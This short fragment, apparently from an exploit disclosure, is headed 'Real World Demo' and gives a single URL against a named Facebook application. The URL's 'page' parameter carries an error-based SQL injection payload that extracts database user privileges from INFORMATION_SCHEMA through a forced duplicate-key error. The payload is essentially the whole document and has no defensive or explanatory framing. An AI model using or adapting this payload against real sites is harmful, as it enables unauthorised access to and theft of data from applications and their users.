Real World Demo :  
  
http://apps.facebook.com/lifesmile/index.php?page=210 AND (SELECT 1793  
FROM(SELECT COUNT(*),CONCAT(0x3a626a7a3a,(SELECT  
MID((IFNULL(CAST(privilege_type AS CHAR),0x20)),1,50) FROM  
INFORMATION_SCHEMA.USER_PRIVILEGES LIMIT  
0,1),0x3a7672703a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS  
GROUP BY x)a)
